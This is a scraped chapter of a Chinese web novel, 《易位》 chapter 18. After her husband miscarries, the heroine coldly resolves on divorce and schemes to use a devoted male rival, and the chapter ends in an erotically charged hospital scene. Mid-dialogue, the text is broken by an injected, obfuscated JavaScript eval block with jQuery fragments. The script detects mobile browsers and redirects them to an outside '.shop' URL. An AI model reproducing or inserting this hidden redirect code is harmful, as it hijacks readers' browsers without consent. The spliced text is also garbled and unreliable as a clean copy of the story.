18. 流产
作品:《易位[gb]》 救护车红蓝闪烁的灯光透过门厅的玻璃照进来,医护人员抬着担架冲进门,训练有素地将瘫软在狼藉中的陆见深转移上去。
贺冬禧退开两步,让出通道。
她的视线落在地上混着血水、渐渐被晕染成淡粉色的碎瓷与残花上。
很快,众人抵达医院。
抢救室的灯亮了起来。
时间在寂静与焦躁中缓缓流逝,被拉扯得格外漫长。
许久,灯灭了。
医生走出来,摘下口罩,脸上带着遗憾,“很抱歉,撞击加上情绪剧烈波动,孩子没保住。出血已经止住,病人需要静养。”
宋无眼前一黑,踉跄了一下,被贺惟扶住。
他甩开贺惟的手,指着抢救室的门,声音尖利,“废物!连个孩子都保不住!要你有什么用!”
这时,护士推着病床走了出来。
陆见深躺在上面,不知是一直清醒地承受着这一切,还是刚从昏迷中苏醒。
他的脸上毫无血色,连嘴唇都是灰白的,眼窝深陷,显得异常憔悴。
一双失神的眼睛望着天花板,里面空荡荡的,看不到任何情绪,只剩劫后余生般的虚脱。
贺冬禧靠在走廊冰冷的墙壁上,无动于衷地看着他。
失望吗?有的。
那一刻的怔忪里,她的眼前似乎晃过一个模糊的身影,或许有着柔软的胎发,或许眼睛会像囡囡。
这个尚未成型、与她血脉相连的生命,随着那摊刺目的血迹彻底消失了。
心口某处,传来一阵空洞的回响。
但紧随而来的,是一种如释重负的轻松,沉甸甸地压在那片空洞之上。
解脱了。
她和陆见深之间,那层最麻烦、最棘手的意外联结,以这种惨烈的方式,被彻底斩断。
她不必再为一个孕育在不正常关系中的生命,去筹划复杂的责任、扭曲的亲情,以及如何安置“父亲”这个尴尬的位置。
她不必因为孩子,而永远被迫与陆见深这个名字,以某种可笑的方式捆绑在一起。
与此同时,孩子没了,陆见深于她而言,那点残留的、微末的、仅基于道义的价值,也彻底归零。
贺冬禧收回落在他消失方向的视线,站直了身体。
是时候了。
她在心里条分缕析地规划着接下来的步骤,要体面,但必须彻底,不留后患。
贺家不会长期留用一个不争气的Omega。而她与陆见深之间,那层因意外而强缚的关系,也到了彻底了断的时候。
是时候考虑离婚,让彼此分道扬镳了。
夜色愈发浓重,医院走廊的灯光惨白刺眼。
贺冬禧转身,高跟鞋敲击地面的声音清脆而平稳,将身后的嘈杂、愤怒,以及尚未散尽的血腥气,一并抛在了那片亟待割裂的过去里。
---
贺冬禧走进电梯,金属轿厢平稳下沉,将楼上的纷杂彻底隔绝。
她背靠着冰凉的厢壁,指尖在手机屏幕亮起的通讯录上悬停片刻,最终没有按下任何一个号码。
负责家族事务的律师,口风未必严实。
一旦走漏风声,父母那边……
她微微蹙起眉。
贺陆两家的联姻,背后是盘根错节的利益交换与制衡。
在这个节骨眼上,她不确定母亲贺惟那深沉难测的态度,更吃不透父亲宋无在盛怒与失望之余,是否会为了维持表面稳定而反对她离婚。
贸然行动,或许会打草惊蛇,甚至让自己陷入被动。
“叮——”电梯抵达的提示音打断了她的思绪。
贺冬禧没有立刻迈步走出。
就在电梯门即将重新合拢的刹那,她伸出手,挡了一下。
沈霁川,他也在这家医院。
这个念头毫无征兆地跳了出来,连同他苍白的脸庞,以及更早之前那个毫不犹豫将她护在怀里的身影。
B市工业用地的项目,贺氏原本可以作壁上观,甚至伺机分一杯羹。
但现在,于情于理,贺氏恐怕都不得不下场,为沈霁川,或者说,为沈氏的计划托底、铺路。
既然这份代价注定要付,那么……为何不让它付得更值一些?
沈霁川对她那份未曾宣之于口、却昭然若揭的情愫,他身后沈氏的能量,他与陆家或许存在、且可被挑起的龃龉……都是现成的棋子。
既然贺氏要耗费资源,不如物尽其用。
让他去搅动贺氏与陆氏之间那潭看似平静、实则暗流涌动的水。
水浑了,才好摸鱼……
电梯门因受阻发出轻微的嗡鸣。
贺冬禧收回手,转身朝着沈霁川病房所在的楼层走去。
她刚上楼,视线便捕捉到前方不远处沈霁川的助理,对方手里提着一个保温桶。
助理也看见了她,脚步一顿,脸上迅速堆起恰到好处的笑容,“贺总,这么晚了,您还过来探望沈总,辛苦了。”
贺冬禧颔首回礼,目光在他手中的保温桶上停留了片刻,“给沈总送餐?”
“是的,贺总,这是按营养师的嘱咐准备的。只是沈总这几日胃口一直不佳,劝了几次,也吃不了多少。”
贺冬禧的视线从保温桶移回助理脸上,唇角微微向上弯了一下,算不上是笑。
“伤重耗元气,嘴里没味道也是常事。我正巧有事要同沈总商量,保温桶给我,我顺便带进去。”
助理显然愣了一下。
然而,眼前这位贺总,不仅是贺氏的继承人,更是沈总不惜以身相护的对象,其间的分量,他掂量得清清楚楚。
他心中的犹豫只如蜻蜓点水般一闪而过,很快便消散了:“那……实在麻烦贺总了。”
“无妨。”贺冬禧接过保温桶。
沈霁川病房的门虚掩着,里面没有开顶灯,只有一盏床头灯晕开暖黄的光晕,漫到门边。
沈霁川背对着门口,身上盖着薄被,蓝白条纹的病号服在肩胛处显得有些空荡。
他听见了脚步声和推门声,却没有回头,只当是助理:“先放着吧,我没胃口。说说看,今天公司有什么要紧事。”
贺冬禧径直走到床头柜边,将保温桶放下。
金属底座与木质桌面接触,发出一声“咯”的轻响,不重,却在过分安静的房间里显得格外清晰。
“不想吃?”
下一刹那,沈霁川仓皇地转过头来。
这个动作显然牵动了伤口,剧痛袭来,让他倒吸了一口冷气。
“贺总?”他唤道,声音里的惊诧盖过了痛楚带来的气音,“怎么是你?助理他……”
“我正好和他在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397171|200030||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门口碰见。”贺冬禧伸出手,旋开保温桶的盖子,“没胃口,也得勉强吃些。”
软糯米香随着腾起的热气氤氲开来,冲淡了病房里固有的药水味。
沈霁川看着她拿起桶盖内扣着的白瓷勺,在熬得稠糯的粥面上轻轻搅动,随后手腕微抬,将盛着温热粥糜的勺子递到他唇边。
这个动作让沈霁川彻底愣住了。
让她……喂他?
他觉得自己的存在,仿佛玷污了这份递到眼前的暖意。
他配不上,更不该承受。
拒绝的念头本能地窜起,可那丛深埋心底、名为妄念的毒藤,却在这一刻疯长。
他太渴望这一点微不足道、近乎施舍的靠近了。
“……有劳。”他终究妥协了,声音干涩,缓缓凑近了那柄白瓷勺。
沈霁川顺从地吞咽着,目光垂落,视线却贪婪地锁在她捏着勺子的手指上。
那手指白皙修长,指甲是健康的淡粉色,干净得与这病房、与他都格格不入。
每一勺粥递来时,他都能闻到她袖间传来的极淡的肉桂香,混在米粥的热气里,让他心尖发颤。
碗很快就要见底。
他必须做点什么,留下点什么,哪怕只是一个能触碰她的、微不足道的借口。
于是,下一秒,他像是吞咽得有些急切,猛地被呛住,伸手捂嘴咳嗽,手肘恰好撞上了贺冬禧的指尖。
碗,应声落地。
尚带余温的粘稠粥糜泼洒出来,大部分浸染了浅蓝色的薄被,还有一部分淋漓而粘腻地糊在了贺冬禧未来得及抽回的食指和中指上,甚至顺着她纤细的指节缓缓淌下。
“对不起……”他的声音沙哑得厉害,气息也不稳,目光从她染着粥液的手指移到她毫无表情的脸上,“我帮你弄干净。”
不等贺冬禧反应,或许他根本不敢等,他已经低下头,张口将她的食指,连同上面黏滑的粥糜,一起含进了温热的口中。
“!”
贺冬禧的指尖清晰地感受到他口腔内部灼人的温度,柔软的舌面毫无阻隔地裹贴上来。
过于狎昵的触感让贺冬禧的脊背绷紧。
清理完食指后,他微微偏头,唇舌移开,转而含住了她的中指。
这一次,他的动作更慢,也更暧昧。
滚烫的呼吸尽数喷在她的手背上,激起一片细微的战栗。
不知是粥液,还是他过多的唾液,顺着她手指与唇瓣的缝隙溢出一丝晶亮的银线。
整个过程中,贺冬禧没有抽回手。
她只是垂眸,静静地看着,看着自己的手指,被另一个男人以一种近乎亵玩的方式含在口中,细致而贪婪地舔舐、清理。
终于,当沈霁川恋恋不舍地松开唇舌时,她的两根手指已经湿漉漉的,泛着被吮吸过的光泽。
他抬起头,眼尾染着一抹异样的嫣红。
他望着她,眼底是未退的迷乱和豁出去的绝望,声音哑得不成样子,“干净了。”
“看来,你是真的不想吃了。”她的声音依旧平稳,听不出喜怒,只是从旁边抽出纸巾,不再看他,慢条斯理地擦拭着自己那两根湿得过分的手指。
擦干净后,她将纸巾团起,扔进垃圾桶。
那轻微的声响,像是给这场荒诞又旖旎的画面点上了一个仓促的句号。

